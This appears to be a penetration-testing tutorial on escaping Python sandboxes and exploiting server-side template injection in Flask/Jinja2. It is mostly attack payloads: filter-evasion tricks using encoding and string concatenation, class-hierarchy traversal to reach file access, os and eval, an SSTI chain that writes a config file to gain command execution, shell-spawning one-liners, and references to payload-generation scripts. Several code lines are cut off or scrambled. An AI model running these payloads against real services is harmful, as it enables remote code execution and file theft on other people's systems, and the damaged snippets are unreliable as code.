In some OJ providing python sandbox, or web site written in python and using template rendering (ssti
appears), your pentest must have something to do with python sandbox escape.
Python2 Sandbox Escape
When you are in a restricted python environment, to get rid of every limits and spawn a shell is the main target, but kind of tricky.
Our final aim is to get shell with the help of os
,
1 | import os |
and eval
/exec
,
1 | eval('__import__("os").system("dir")') |
and pty
,
1 | import pty |
and subprocess
,
1 | import subprocess |
and commands
,
1 | import commands |
and timeit
,
1 | import timeit |
and platform
,
1 | import platform |
and other modules.
import
Techniques
You may easily notice that most methods needs import
, therefore importing libs is a good choice.
Ways to Import
As defenders will not make it easy, there should be filters and checks to prevent possible attacks.
The basic idea is to check code content, like
1 | import re |
But we have other ways to import
import
1
2import xxx`
from x import xxx__import__
1
__import__('xxx')
importlib
1
2
3
4import importlib`
f3ck = importlib.import_module("pbzznaqf".decode('rot_13')
# bypass filters, decoded as 'commands'
print f3ck.getoutput('ifconfig')Ways to Reload
Builtin functions work with no need ofimport
, because they are imported automatically along with__builtin__
module being loaded.
Then functions like open()
, int()
and chr()
are equivalent to
1 | __builtin__.open() |
Therefore eval()
, exec()
, execfile()
and __import__
can be executed in this way.
Other ways to operate
1 | print [entity for entity in ().__class__.__bases__[0].__subclasses__() if entity.__name__ == "file"][0]("index.wsgi").read() |
So if we try to defend, delete them by using
1 | del __builtins__.__dict__['__import__'] # __import__ is the function called by the import statement |
It’s ok because we can recovery the complete module by
1 | reload(__builtin__) |
While the truth is, reload
is a method under __builtin__
, so what if it is deleted already?
We have a module called imp
to deal this
1 | import imp |
Notice that a module can be reloaded only after it is imported.
Advanced
We import libs/modules which are already in local file system, so why dont we remove them from disk firstly?
Question is where exactly are they?
Use sys
to show path
1 | import sys |
It surely contains package directory of pip
and conda
and other related folders.
Show where a module is
1 | import os # import first |
Then look at modules
under sys
1 | sys.modules |
Change something to see what happens
1 | 'os']=None sys.modules[ |
So we guess, python import modules according to sys.modules
, defenders can delete modules in this dict for protection.
What’s the deal? We do the reverse.
1 | import sys |
Ultimate
If sys
, os
and reload
are banned, still a way to bypass?
Sure it is.
1 | '/usr/lib/python2.7/os.py') execfile( |
If execfile
is banned, use file i/o operations to read, then use exec
to execute codes. It suits python 3.x
1 | with open('/usr/lib/python3.6/os.py','r') as f: |
As a defender, delete the module file is the last strike.
Finally it’s hard to bypass, but the server may be fragile for lacking dependencies.
Explore Attrs & Methods
use dir()
method or __dict__
attribute, to list all properties and functions under a specific module/class/object.
1 | A.__dict__ |
They have differences, like dir
suits every module, while __dict__
may not exist in some.
1 | dir() |
Besides, dir
gives a list, and __dict__
gives a dict containing values.
1 | dir() |
Bypass String Scanning
Defenders always filter special strings, so we have to change string to bypass.
First we can do python string inversion tricks
1 | str = "txt.galf" |
and string concatenation
1 | ().__class__.__bases__[0].__subclasses__()[40]('r','fla'+'g.txt')).read() |
if method name is filtered, use __getattribute__()
or __getattr__()
or getattr()
or __dict__
, combine with str concat
1 | x = [x for x in [].__class__.__base__.__subclasses__() if x.__name__ == 'ca'+'tch_warnings'][0].__init__ |
Secondly we do characters encoding
1 | import codecs |
Base64 is common
1 | import base64 |
But what if [
and ]
are filtered? We use __getitem__
to replace.
It is based on: func[‘attr’] === func.attr.
1 | ''.__class__.__mro__[1] |
What if '
and "
are also filtered? The solution is not for normal python sandbox, it’s for python web environment.
In web framework like flask
, use request
1 | # request.args.xx |
And what if __
is filtered as well? We still use request
.
1 | class].bases[0].subclasses()[59].init.globals.builtins'eval'&class=class ()[request.args. |
What if {{` and `}}
…… ? Use {%if xxxxx}1{% endif %}
instead.
Using Class Object
__mro__
method gives a list of parent classes inherited by this.
MRO( Method Resolution Order ) indicates that it is associated with inheritance mechanism ( python is multi-inherence ).
1 | 1..__class__.__mro__ |
__subclasses__
method gives a list of subclasses
1 | ''.__class__.__mro__[2].__subclasses__() |
So we can use __mro__
and __subclasses__
to get object and useful method. __bases__
can also be used, and it is a part of __mro__
list.
We have file io payloads down here
1 | # use 'file' class to read and write |
If ssti exists, we can use it to get shell
1 | ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/owned.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') |
Ways to get shell
1 | # identify a class index first |
Python3 Sandbox Escape
Builtin Functions
__builtin__
in python 2.x ==> builtins
in python3.x, and needs import.
But finally they all have __builtins__
, the reference to builtin modules.
File Operations
file
in python 2.x => open
in python 3.x.
Class Object Payloads
As python 2.x has different inheritance chain with python 3.x, so we
Some payloads in python 3.7
1 | # still needs to find a class index() |
Things Change in different python version environment !!!
so sometimes it will be like
1 | ().__class__.__bases__[0].__subclasses__()[xxx].__init__.__globals__.__builtins__['eval']("__import__('os').popen('whoami').read()") |
and os._wrap_close
1 | import os |
Scripts
Here is a script for generating payloads of ssti
in flask
using jinja2
1 | #!/usr/bin/python3 |
Another script for detecting modules with os
, sys
or __builtin__
that we can exploit. Effective for python 2.x/3.x
1 | #-*- coding:utf8 -*- |